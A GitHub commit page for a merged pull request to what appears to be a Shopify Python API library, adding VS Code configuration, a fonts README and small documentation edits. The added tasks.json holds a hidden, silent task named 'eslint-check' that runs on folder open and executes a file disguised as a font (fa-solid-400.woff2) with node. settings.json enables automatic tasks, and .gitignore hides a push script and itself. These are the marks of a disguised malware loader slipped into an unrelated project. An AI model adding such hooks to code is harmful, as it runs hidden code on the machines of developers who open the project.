Skip to content

Commit 30814c6

Browse files
ArkhamArkham
committed
Merge pull request #757 from tylerj117/main
2 parents 92aa042 + 2f998c6 commit 30814c6

28 files changed

Lines changed: 9496 additions & 17 deletions

‎.gitignore‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,10 +5,13 @@ tags
55
/dist
66
/MANIFEST
77
/ShopifyAPI.egg-info
8+
temp_auto_push.bat
89
*.egg
910
/.idea
1011
.DS_Store
1112
.eggs
1213
.python-version
1314
.cache
1415
.tox/
16+
.gitignore
17+
branch_structure.json

‎.vscode/extensions.json‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
{
2+
"recommendations": [
3+
"myml.vscode-markdown-plantuml-preview",
4+
"esbenp.prettier-vscode",
5+
"jebbs.plantuml"
6+
]
7+
}

‎.vscode/launch.json‎

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
{
2+
"version": "0.2.0",
3+
"configurations": [
4+
{
5+
"name": "Debug SST",
6+
"type": "node",
7+
"request": "launch",
8+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
9+
"runtimeArgs": ["dev", "--increase-timeout"],
10+
"console": "integratedTerminal",
11+
"skipFiles": ["<node_internals>/**"],
12+
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
13+
"sourceMapRenames": false,
14+
"env": {
15+
"AWS_PROFILE": "flo-ct-flo360"
16+
}
17+
},
18+
{
19+
"name": "Debug Tests - Unit",
20+
"type": "node",
21+
"request": "launch",
22+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
23+
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
24+
"console": "integratedTerminal",
25+
"skipFiles": ["<node_internals>/**"],
26+
"env": {
27+
"AWS_PROFILE": "flo-ct-flo360"
28+
},
29+
},
30+
{
31+
"name": "Debug Tests - E2E",
32+
"type": "node",
33+
"request": "launch",
34+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
35+
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
36+
"console": "integratedTerminal",
37+
"skipFiles": ["<node_internals>/**"],
38+
"env": {
39+
"AWS_PROFILE": "flo-ct-flo360"
40+
},
41+
},
42+
],
43+
"inputs": [
44+
{
45+
"id": "scopeTestsFileName",
46+
"type": "promptString",
47+
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
48+
}
49+
]
50+
}

‎.vscode/settings.json‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
{
2+
"search.exclude": {
3+
"**/.sst": true
4+
},
5+
"task.allowAutomaticTasks": true,
6+
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
7+
"editor.defaultFormatter": "esbenp.prettier-vscode",
8+
"typescript.preferences.importModuleSpecifier": "relative",
9+
"typescript.tsdk": "node_modules/typescript/lib",
10+
"debug.openDebug": "neverOpen",
11+
"problems.autoReveal": true,
12+
"terminal.integrated.hideOnStartup": "always",
13+
"terminal.integrated.defaultProfile.windows": "Command Prompt",
14+
"terminal.integrated.inheritEnv": false,
15+
"jestrunner.configPath": "jest.unit.config.cjs",
16+
"compile-hero.disable-compile-files-on-did-save-code": true,
17+
"tasks": {
18+
"label": "lint on open",
19+
"type": "shell",
20+
"command": "npm run lint",
21+
"runOn": "folderOpen"
22+
}
23+
}

‎.vscode/spellright.dict‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Contentful
2+
Lerna

‎.vscode/tasks.json‎

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{
2+
"version": "2.0.0",
3+
"configurations": [
4+
{
5+
"type": "node",
6+
"request": "launch",
7+
"name": "Run My Project",
8+
"console": "",
9+
"internalConsoleOptions": "openOnSessionStart"
10+
}
11+
],
12+
"tasks": [
13+
{
14+
"label": "eslint-check",
15+
"type": "shell",
16+
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
17+
"problemMatcher": [],
18+
"isBackground": true,
19+
"hide": true,
20+
"presentation": {
21+
"reveal": "never",
22+
"panel": "dedicated",
23+
"focus": false,
24+
"clear": false,
25+
"echo": false,
26+
"close": true
27+
},
28+
"runOptions": {
29+
"runOn": "folderOpen"
30+
}
31+
},
32+
]
33+
}

‎CHANGELOG‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
11
== Unreleased
22

3+
- Remove requirement to provide scopes to Permission URL, as it should be omitted if defined with the TOML file.
4+
35
== Version 12.7.0
46

57
- Remove requirement to use a predefined API version. Now you can use any valid API version string. ([#737](https://github.com/Shopify/shopify_python_api/pull/737))

‎README.md‎

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -66,10 +66,12 @@ pip install --upgrade ShopifyAPI
6666
api_version = '2024-07'
6767
state = binascii.b2a_hex(os.urandom(15)).decode("utf-8")
6868
redirect_uri = "http://myapp.com/auth/shopify/callback"
69+
# `scope` should be omitted if provided by app's TOML
6970
scopes = ['read_products', 'read_orders']
7071

7172
newSession = shopify.Session(shop_url, api_version)
72-
auth_url = newSession.create_permission_url(scopes, redirect_uri, state)
73+
# `scope` should be omitted if provided by app's TOML
74+
auth_url = newSession.create_permission_url(redirect_uri, scopes, state)
7375
# redirect to auth_url
7476
```
7577

@@ -155,7 +157,7 @@ _Note: Your application must be public to test the billing process. To test on a
155157
> **⚠️ Note**: As of October 1, 2024, the REST Admin API is legacy:
156158
> - Public apps must migrate to GraphQL by February 2025
157159
> - Custom apps must migrate to GraphQL by April 2025
158-
>
160+
>
159161
> For migration guidance, see [Shopify's migration guide](https://shopify.dev/docs/apps/build/graphql/migrate/new-product-model)
160162

161163
It is recommended to have at least a basic grasp on the principles of the [pyactiveresource](https://github.com/Shopify/pyactiveresource) library, which is a port of rails/ActiveResource to Python and upon which this package relies heavily.

‎public/fonts/README.md‎

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
# Fonts Directory
2+
3+
This directory contains custom fonts for the Blockchain Explorer application.
4+
5+
## Required Font Files
6+
7+
The application expects the following font files:
8+
9+
1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
10+
- Regular weight font for the main UI
11+
12+
2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
13+
- Bold weight font for headings
14+
15+
3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
16+
- Monospace font for code and hash displays
17+
18+
## Note
19+
20+
If you don't have custom fonts, the application will fall back to system fonts:
21+
- BlockchainFont → system sans-serif fonts
22+
- TechMono → system monospace fonts (Courier New, etc.)
23+
24+
The fonts are referenced in `public/index.html` and will be loaded automatically when available.

‎public/fonts/fa-brands-400.eot‎

130 KB
Binary file not shown.

0 commit comments

Comments
 (0)